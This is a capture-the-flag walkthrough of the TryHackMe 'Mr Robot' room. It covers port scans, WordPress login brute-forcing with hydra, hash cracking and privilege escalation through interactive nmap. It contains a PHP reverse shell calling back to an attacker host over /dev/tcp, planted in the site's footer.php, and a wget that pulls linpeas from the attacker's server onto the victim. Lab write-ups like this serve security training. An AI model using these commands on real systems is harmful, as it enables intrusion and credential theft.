> For the complete documentation index, see [llms.txt](https://jeffgthompsons-organization.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/mr-robot-ctf.md).

# Mr Robot CTF

**Room Link:** <https://tryhackme.com/room/mrrobot>

## Scanning

**Kali**

```
nmap -A $VICTIM
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FRIkWnixAPOZjCmmUzBfH%2Fimage.png?alt=media&amp;token=ee2c720e-77bb-442a-a265-d9aa9718af7e" alt=""><figcaption></figcaption></figure>

### Scan all ports

No other ports found.

**Kali**

<pre><code><strong>nmap -sV -sT -O -p 1-65535 $VICTIM
</strong></code></pre>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FrlxJ1aZ5obeJgjUFCOFm%2Fimage.png?alt=media&amp;token=8bbcf0d0-bc2a-43a9-bcd2-856a82d6f465" alt=""><figcaption></figcaption></figure>

### HTTP port 80

This ran for the majority of the time I was working on the box, I found the wordpress and checked robots.txt manually and the scan didn't really find anything of interest.

**Kali**

```
dirb http://$VICTIM:80 /usr/share/wordlists/dirb/big.txt
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FjKnyi4100Bj8YrvYaMpo%2Fimage.png?alt=media&amp;token=5115a36e-9531-4f49-8d5f-7a235592a89e" alt=""><figcaption></figcaption></figure>

#### Key 1

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FSz5eXWK9hkd5AwNl1ROg%2Fimage.png?alt=media&amp;token=9000e43e-f8c7-4c09-9c1a-5bac139e0bf3" alt=""><figcaption></figcaption></figure>

**Downloaded fsocity.dic**

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FvDJACFdSco7N4ilJW9hY%2Fimage.png?alt=media&amp;token=64c2e1aa-2698-4ff0-be29-1c09b19a7058" alt=""><figcaption></figcaption></figure>

If you refresh the page you'll go to a wordpress site.

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FJ8eo5FrmKvJVfaDByTC1%2Fimage.png?alt=media&amp;token=cd3c52cd-5025-4675-a6a4-ad9420d9baad" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fh3SKvoxsMLLa7DDS5iDD%2Fimage.png?alt=media&amp;token=49db728f-885a-482a-86cf-c9d9580ba3d5" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FTZi3bfQcWQcezKBUsAnN%2Fimage.png?alt=media&amp;token=96234581-aade-497a-abfc-8ff215ab50a7" alt=""><figcaption></figcaption></figure>

Test to see what users exist in wordpress, if the user doesn't exist it will give an error saying the user is invalid.

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FYFRqkO5hWp7kmeB0z6K4%2Fimage.png?alt=media&amp;token=80c93ea7-2754-41a2-9cb8-51c1f66c6128" alt=""><figcaption></figcaption></figure>

**Kali**

```
hydra -L fsocity.dic -p test  $VICTIM http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F10
.10.70.148%2Fwp-admin%2F&testcookie=1:Invalid username" -V -t 30    
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FoEUvzgTWAbBhWzgbCSdO%2Fimage.png?alt=media&amp;token=10d17d72-f06f-478b-8210-a07450d9c1c4" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FbFwwkUHG65mrWduJqXSf%2Fimage.png?alt=media&amp;token=fba38bcf-3c75-4de0-8239-2830314793a1" alt=""><figcaption></figcaption></figure>

Because there were so many entries in fsocity.dic I tried to reduce it as much as I could by removing duplicates and passwords that I thought would be unlikely.

**Kali**

```
cat fsocity.dic | sort | uniq > new-fsocity.dic
#Remove lines with less than 4 characters
sed -r '/^.{,4}$/d' new-fsocity.dic > new-new-fsocity.dic
#Remove lines with just numbers
awk '! /^[0-9]+$/' new-new-fsocity.dic > nonums.dic 
#Remove lines with more than 11 characters
sed '/^.\{11\}./d' nonums.dic > final.txt
```

**Kali**

```
hydra -L Elliot -P fsocity.dic  $VICTIM http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F
10.10.70.148%2Fwp-admin%2F&testcookie=1:is incorrect." -V -t 30 
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F9z2NpsvzJqEW9J7Z6ntW%2Fimage.png?alt=media&amp;token=c8c5e671-4b7e-4e92-9d61-e4b24cfbafcf" alt=""><figcaption></figcaption></figure>

## Reverse Shell

### Reverse Shell Failed Attempt

**revshell.php code**

```
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/$KALI/443 0>&1'");
?>
```

**Kali**

```
vi revshell.php
zip revshell.zip revshell.php
nc -lvnp 443
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FmaVL5J68EuARYJeYOfVF%2Fimage.png?alt=media&amp;token=3d5da7b0-4a5b-4fd7-80da-3d6fabe15734" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FzyJnYCxLrzaLqogJiCBS%2Fimage.png?alt=media&amp;token=b25f8b8b-6668-4ac7-874e-66ec8d6b2fc0" alt=""><figcaption></figcaption></figure>

Connection is made but it isn't stable.

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fsvcjn2N4j8gzCj4QeCW5%2Fimage.png?alt=media&amp;token=c3c32ae6-929c-4354-901a-2290e6c03628" alt=""><figcaption></figcaption></figure>

### Reverse Shell&#x20;

wpscan found out that twentyfifeen is installed.

**Kali**

```
wpscan --url http://$VICTIM
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FZWm4HfuZnNaDWCI1Pfuh%2Fimage.png?alt=media&amp;token=83ed3d5c-715f-4256-b6f6-6c90eaacd6f2" alt=""><figcaption></figcaption></figure>

**Kali**

```
nc -vlnp 443
```

Added the same shell to footer.php which should appear on every page visited. Then I just went back to http\://$VICTIM/join and it worked.

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FYQJ0Ut7o1THlXRaMx8GK%2Fimage.png?alt=media&amp;token=befe442a-a35b-403b-b333-e2dc7291c59a" alt=""><figcaption></figcaption></figure>

Get autocomplete

**Victim**

```
python -c 'import pty; pty.spawn("/bin/bash")'
ctrl + Z
stty raw -echo;fg
```

**Victim**

```
cd /home/robot
ls
cat password.raw-md5 
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FWOQTSlPwFTYSYZUd6zNK%2Fimage.png?alt=media&amp;token=542cddc5-3133-4aa9-b75f-5880b0917000" alt=""><figcaption></figcaption></figure>

**Kali**

```
hashcat -m 0 password.raw-md5 /usr/share/wordlists/rockyou.txt
hashcat -m 0 password.raw-md5 /usr/share/wordlists/rockyou.txt --show
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fy8KZVMH1yL1AHDC1tpxZ%2Fimage.png?alt=media&amp;token=d2a0c650-f318-4fe3-92ad-631b32ba212e" alt=""><figcaption></figcaption></figure>

**Victim**

```
su robot
Password: abcdefghijklmnopqrstuvwxyz
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F9ccCb5aQ9sm5VyDPFW5y%2Fimage.png?alt=media&amp;token=e96dcc26-4d8e-463f-9dda-d5569b0bb63a" alt=""><figcaption></figcaption></figure>

### LinPeas

**Kali**

```
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
python2 -m SimpleHTTPServer 81
```

**Victim**

```
cd /tmp/
wget http://$KALI:81/linpeas.sh
chmod +x linpeas.sh 
./linpeas.sh
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FS1MT1KodO3I7Fm01XoyD%2Fimage.png?alt=media&amp;token=b7b8acb8-3a66-4d36-827d-d93d8ac8d00a" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

**Victim**

```
/usr/local/bin/nmap --interactive
nmap> !sh
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F65DN2EqgQcEV71B8qnNA%2Fimage.png?alt=media&amp;token=b8c5d6d2-3432-4cd7-a99a-fc71a3ff32a1" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F3dxBFU2HxrdvLFEAkOEc%2Fimage.png?alt=media&amp;token=28eb2944-cdc5-46a7-8192-da73b04a5d6a" alt=""><figcaption></figcaption></figure>
